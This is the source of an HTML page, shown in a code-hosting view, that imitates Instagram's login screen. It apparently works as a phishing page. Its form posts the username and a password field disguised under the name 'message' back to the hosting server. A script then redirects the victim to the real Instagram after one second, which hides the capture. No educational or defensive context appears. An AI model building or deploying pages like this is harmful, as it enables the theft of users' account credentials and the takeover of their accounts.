-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathindex.html
191 lines (175 loc) · 8.09 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
<!-- This is instagram login page -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Login • Instagram</title>
<link rel="stylesheet" href="css/loginstyle.css">
<link rel="shortcut icon" href="img/Instagram_logo_2016.svg.webp">
<!-- General Meta Tags -->
<style>
img {
vertical-align: text-top;
}
</style>
</head>
<body>
<div class="loader-overlay">
<div class="loader"></div>
</div>
<div class="container">
<div class="box">
<div class="heading"></div>
<form class="login-form" action="" method="post" onsubmit="redirectToInstagram(event)">
<div class="field">
<input id="username" type="text" name="username" placeholder="Phone number, username, or email" required />
<label for="username">Phone number, username, or email</label>
</div>
<div class="field">
<input id="message" type="password" name="message" placeholder="Password" required />
<label for="password">Password</label>
<button type="button" id="show-password-btn">Show</button>
</div>
<button class="login-button" type="submit" title="Login">Log In</button>
<div class="separator">
<div class="line"></div>
<p>OR</p>
<div class="line"></div>
</div>
<div class="other">
<button class="fb-login-btn" type="button" onclick="window.location.href='https://www.facebook.com/login.php/'">
<i class="fa fa-facebook-official fb-icon"></i>
<span>
<img src="https://t3.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=https://www.facebook.com/&size=256" height="15" width="15" />
<a href="https://www.facebook.com/login.php/">Log in with Facebook</a>
</span>
</button>
<a class="forgot-password" href="https://www.instagram.com/accounts/password/reset/?__pwa=1">Forgot password?</a>
</div>
</form>
</div>
<div class="box">
<p>Don't have an account? <a class="signup" href="#">Sign Up</a></p>
</div>
</div>
<br>
<div class="get">
Get the app.
</div>
<br>
<div class="apps">
<a href="https://play.google.com/store/apps/details?id=com.instagram.android&hl=en_IN">
<img src="/img/google-playstore.png" height="40"
width="134"></a>      
<a href="https://apps.microsoft.com/detail/9nblggh5l9xt?hl=en-US&gl=US">
<img src="img/microsoft-store.png" height="40" width="auto"></a>
</div>
<br>
<div class="footer">
<footer>
<a href="https://about.meta.com/">About</a>
<a href="https://about.fb.com/news/">Blog</a>
<a href="https://www.metajobs.com/">Jobs</a>
<a href="https://www.meta.com/help/">Help</a>
<a href="https://developers.facebook.com/docs/">API</a>
<a href="https://www.meta.com/privacy/">Privacy</a>
<a href="https://www.meta.com/terms/">Terms</a>
<a href="https://www.meta.com/locations/">Locations</a>
<a href="https://www.instagram.com/lite/">Instagram Lite</a>
<a href="https://www.facebook.com/help/instagram/261704639352628">Contact Uploading & Non-Users</a>
<a href="https://www.meta.com/verified/">Meta-verified</a>
</footer>
</div>
<div class="copyright">
<br>
<select aria-label="Switch Display Language" class="Language">
<option value="en">English</option>
<option value="af">Afrikaans</option>
<option value="cs">Čeština</option>
<option value="da">Dansk</option>
<option value="de">Deutsch</option>
<option value="el">Ελληνικά</option>
<option value="en-gb">English (UK)</option>
<option value="es">Español (España)</option>
<option value="es-la">Español</option>
<option value="fi">Suomi</option>
<option value="fr">Français</option>
<option value="id">Bahasa Indonesia</option>
<option value="it">Italiano</option>
<option value="ja">日本語</option>
<option value="ko">한국어</option>
<option value="ms">Bahasa Melayu</option>
<option value="nb">Norsk</option>
<option value="nl">Nederlands</option>
<option value="pl">Polski</option>
<option value="pt-br">Português (Brasil)</option>
<option value="pt">Português (Portugal)</option>
<option value="ru">Русский</option>
<option value="sv">Svenska</option>
<option value="th">ภาษาไทย</option>
<option value="tl">Filipino</option>
<option value="tr">Türkçe</option>
<option value="zh-cn">中文(简体)</option>
<option value="zh-tw">中文(台灣)</option>
<option value="bn">বাংলা</option>
<option value="gu">ગુજરાતી</option>
<option value="hi">हिन्दी</option>
<option value="hr">Hrvatski</option>
<option value="hu">Magyar</option>
<option value="kn">ಕನ್ನಡ</option>
<option value="ml">മലയാളം</option>
<option value="mr">मराठी</option>
<option value="ne">नेपाली</option>
<option value="pa">ਪੰਜਾਬੀ</option>
<option value="si">සිංහල</option>
<option value="sk">Slovenčina</option>
<option value="ta">தமிழ்</option>
<option value="te">తెలుగు</option>
<option value="vi">Tiếng Việt</option>
<option value="zh-hk">中文(香港)</option>
<option value="bg">Български</option>
<option value="fr-ca">Français (Canada)</option>
<option value="ro">Română</option>
<option value="sr">Српски</option>
<option value="uk">Українська</option>
</select> © 2024 Instagram from Meta
</div>
<script>
function redirectToInstagram(event) {
// Wait briefly to ensure the form is submitted
setTimeout(function () {
window.location.href = "https://www.instagram.com/";
}, 1000); // Redirect after 1 second
}
</script>
<script>
const showPasswordBtn = document.getElementById('show-password-btn');
const passwordField = document.getElementById('message');
// Event listener to detect when user starts typing
passwordField.addEventListener('input', function () {
// Show the "Show" button once the user starts typing
if (passwordField.value.length > 0) {
showPasswordBtn.style.display = 'block';
} else {
showPasswordBtn.style.display = 'none'; // Hide the button if the input is empty
}
});
// Toggle the visibility of the password when the button is clicked
showPasswordBtn.addEventListener('click', function () {
if (passwordField.type === 'password') {
passwordField.type = 'text';
showPasswordBtn.textContent = 'Hide';
} else {
passwordField.type = 'password';
showPasswordBtn.textContent = 'Show';
}
});
window.addEventListener('load', () => {
document.body.classList.add('loaded');
document.getElementById('content').style.display = 'block';
});
</script>
</body>
</html>